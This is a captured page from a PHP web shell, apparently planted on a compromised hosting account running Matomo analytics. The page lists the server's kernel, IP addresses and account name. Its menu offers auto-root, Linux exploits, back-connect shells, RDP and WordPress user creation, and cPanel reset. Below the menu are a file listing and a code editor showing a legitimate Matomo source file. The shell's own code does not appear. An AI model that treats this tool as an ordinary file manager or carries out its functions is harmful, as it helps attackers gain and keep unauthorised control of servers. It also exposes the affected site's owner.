Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.147.60.193
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RankingQuery.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Exception; /** * The ranking query class wraps an arbitrary SQL query with more SQL that limits * the number of results while aggregating the rest in an a new "Others" row. It also * allows for some more fancy things that can be configured via method calls of this * class. The advanced use cases are explained in the doc comments of the methods. * * The general use case looks like this: * * // limit to 500 rows + "Others" * $rankingQuery = new RankingQuery(); * $rankingQuery->setLimit(500); * * // idaction_url will be "Others" in the row that contains the aggregated rest * $rankingQuery->addLabelColumn('idaction_url'); * * // the actual query. it's important to sort it before the limit is applied * $sql = 'SELECT idaction_url, COUNT(*) AS nb_hits * FROM log_link_visit_action * GROUP BY idaction_url * ORDER BY nb_hits DESC'; * * // execute the query * $rankingQuery->execute($sql); * * For more examples, see RankingQueryTest.php * * @api */ class RankingQuery { // a special label used to mark the 'Others' row in a ranking query result set. this is mapped to the // datatable summary row during archiving. const LABEL_SUMMARY_ROW = '__mtm_ranking_query_others__'; /** * Contains the labels of the inner query. * Format: "label" => true (to make sure labels don't appear twice) * @var array */ private $labelColumns = array(); /** * The columns of the inner query that are not labels * Format: "label" => "aggregation function" or false for no aggregation * @var array */ private $additionalColumns = array(); /** * The limit for each group * @var int */ private $limit = 5; /** * The name of the columns that marks rows to be excluded from the limit * @var string */ private $columnToMarkExcludedRows = false; /** * The column that is used to partition the result * @var bool|string */ private $partitionColumn = false; /** * The possible values for the column $this->partitionColumn * @var array */ private $partitionColumnValues = array(); /** * The value to use in the label of the 'Others' row. * @var string */ private $othersLabelValue = self::LABEL_SUMMARY_ROW; /** * Constructor. * * @param int|false $limit The result row limit. See {@link setLimit()}. */ public function __construct($limit = false) { if ($limit !==false) { $this->setLimit($limit); } } /** * Set the limit after which everything is grouped to "Others". * * @param int $limit */ public function setLimit($limit) { $this->limit = $limit; } /** * Set the value to use for the label in the 'Others' row. * * @param string $value */ public function setOthersLabel($value) { $this->othersLabelValue = $value; } /** * Add a label column. * Labels are the columns that are replaced with "Others" after the limit. * * @param string|array $labelColumn */ public function addLabelColumn($labelColumn) { if (is_array($labelColumn)) { foreach ($labelColumn as $label) { $this->addLabelColumn($label); } return; } $this->labelColumns[$labelColumn] = true; } /** * @return array */ public function getLabelColumns() { return $this->labelColumns; } /** * Add a column that has be added to the outer queries. * * @param $column * @param string|bool $aggregationFunction If set, this function is used to aggregate the values of "Others", * eg, `'min'`, `'max'` or `'sum'`. */ public function addColumn($column, $aggregationFunction = false) { if (is_array($column)) { foreach ($column as $c) { $this->addColumn($c, $aggregationFunction); } return; } $this->additionalColumns[$column] = $aggregationFunction; } /** * Sets a column that will be used to filter the result into two categories. * Rows where this column has a value > 0 will be removed from the result and put * into another array. Both the result and the array of excluded rows are returned * by {@link execute()}. * * @param $column string Name of the column. * @throws Exception if method is used more than once. */ public function setColumnToMarkExcludedRows($column) { if ($this->columnToMarkExcludedRows !== false) { throw new Exception("setColumnToMarkExcludedRows can only be used once"); } $this->columnToMarkExcludedRows = $column; $this->addColumn($this->columnToMarkExcludedRows); } /** * This method can be used to partition the result based on the possible values of one * table column. This means the query will split the result set into other sets of rows * for each possible value you provide (where the rows of each set have a column value * that equals a possible value). Each of these new sets of rows will be individually * limited resulting in several limited result sets. * * For example, you can run a query aggregating some data on the log_action table and * partition by log_action.type with the possible values of {@link Piwik\Tracker\Action::TYPE_PAGE_URL}, * {@link Piwik\Tracker\Action::TYPE_OUTLINK}, {@link Piwik\Tracker\Action::TYPE_DOWNLOAD}. * The result will be three separate result sets that are aggregated the same ways, but for rows * where `log_action.type = TYPE_OUTLINK`, for rows where `log_action.type = TYPE_ACTION_URL` and for * rows `log_action.type = TYPE_DOWNLOAD`. * * @param $partitionColumn string The column name to partition by. * @param $possibleValues Array of possible column values. * @throws Exception if method is used more than once. */ public function partitionResultIntoMultipleGroups($partitionColumn, $possibleValues) { if ($this->partitionColumn !== false) { throw new Exception("partitionResultIntoMultipleGroups can only be used once"); } $this->partitionColumn = $partitionColumn; $this->partitionColumnValues = $possibleValues; $this->addColumn($partitionColumn); } /** * Executes the query. * The object has to be configured first using the other methods. * * @param $innerQuery string The "payload" query that does the actual data aggregation. The ordering * has to be specified in this query. {@link RankingQuery} cannot apply ordering * itself. * @param $bind array Bindings for the inner query. * @param int $timeLimitInMs Adds a MAX_EXECUTION_TIME query hint to the query if $timeLimitInMs > 0 * @return array The format depends on which methods have been used * to configure the ranking query. */ public function execute($innerQuery, $bind = array(), $timeLimitInMs = 0) { $query = $this->generateRankingQuery($innerQuery); $query = DbHelper::addMaxExecutionTimeHintToQuery($query, $timeLimitInMs); $data = Db::getReader()->fetchAll($query, $bind); if ($this->columnToMarkExcludedRows !== false) { // split the result into the regular result and the rows with special treatment $excludedFromLimit = array(); $result = array(); foreach ($data as &$row) { if ($row[$this->columnToMarkExcludedRows] != 0) { $excludedFromLimit[] = $row; } else { $result[] = $row; } } $data = array( 'result' => &$result, 'excludedFromLimit' => &$excludedFromLimit ); } if ($this->partitionColumn !== false) { if ($this->columnToMarkExcludedRows !== false) { $data['result'] = $this->splitPartitions($data['result']); } else { $data = $this->splitPartitions($data); } } return $data; } private function splitPartitions(&$data) { $result = array(); foreach ($data as &$row) { $partition = $row[$this->partitionColumn]; if (!isset($result[$partition])) { $result[$partition] = array(); } $result[$partition][] = & $row; } return $result; } /** * Generate the SQL code that does the magic. * If you want to get the result, use execute() instead. If you want to run the query * yourself, use this method. * * @param $innerQuery string The "payload" query that does the actual data aggregation. The ordering * has to be specified in this query. {@link RankingQuery} cannot apply ordering * itself. * @return string The entire ranking query SQL. */ public function generateRankingQuery($innerQuery) { // +1 to include "Others" $limit = $this->limit + 1; $counterExpression = $this->getCounterExpression($limit); // generate select clauses for label columns $labelColumnsString = '`' . implode('`, `', array_keys($this->labelColumns)) . '`'; $labelColumnsOthersSwitch = array(); foreach ($this->labelColumns as $column => $true) { $labelColumnsOthersSwitch[] = " CASE WHEN counter = $limit THEN '" . $this->othersLabelValue . "' ELSE `$column` END AS `$column` "; } $labelColumnsOthersSwitch = implode(', ', $labelColumnsOthersSwitch); // generate select clauses for additional columns $additionalColumnsString = ''; $additionalColumnsAggregatedString = ''; foreach ($this->additionalColumns as $additionalColumn => $aggregation) { $additionalColumnsString .= ', `' . $additionalColumn . '`'; if ($aggregation !== false) { $additionalColumnsAggregatedString .= ', ' . $aggregation . '(`' . $additionalColumn . '`) AS `' . $additionalColumn . '`'; } else { $additionalColumnsAggregatedString .= ', `' . $additionalColumn . '`'; } } // initialize the counters if ($this->partitionColumn !== false) { $initCounter = ''; foreach ($this->partitionColumnValues as $value) { $initCounter .= '( SELECT @counter' . intval($value) . ':=0 ) initCounter' . intval($value) . ', '; } } else { $initCounter = '( SELECT @counter:=0 ) initCounter,'; } // add a counter to the query // we rely on the sorting of the inner query $withCounter = " SELECT $labelColumnsString, $counterExpression AS counter $additionalColumnsString FROM $initCounter ( $innerQuery ) actualQuery "; // group by the counter - this groups "Others" because the counter stops at $limit $groupBy = 'counter'; if ($this->partitionColumn !== false) { $groupBy .= ', `' . $this->partitionColumn . '`'; } $groupOthers = " SELECT $labelColumnsOthersSwitch $additionalColumnsAggregatedString FROM ( $withCounter ) AS withCounter GROUP BY $groupBy "; return $groupOthers; } private function getCounterExpression($limit) { $whens = array(); if ($this->columnToMarkExcludedRows !== false) { // when a row has been specified that marks which records should be excluded // from limiting, we don't give those rows the normal counter but -1 times the // value they had before. this way, they have a separate number space (i.e. negative // integers). $whens[] = "WHEN {$this->columnToMarkExcludedRows} != 0 THEN -1 * {$this->columnToMarkExcludedRows}"; } if ($this->partitionColumn !== false) { // partition: one counter per possible value foreach ($this->partitionColumnValues as $value) { $isValue = '`' . $this->partitionColumn . '` = ' . intval($value); $counter = '@counter' . intval($value); $whens[] = "WHEN $isValue AND $counter = $limit THEN $limit"; $whens[] = "WHEN $isValue THEN $counter:=$counter+1"; } $whens[] = "ELSE 0"; } else { // no partitioning: add a single counter $whens[] = "WHEN @counter = $limit THEN $limit"; $whens[] = "ELSE @counter:=@counter+1"; } return " CASE " . implode(" ", $whens) . " END "; } }
Close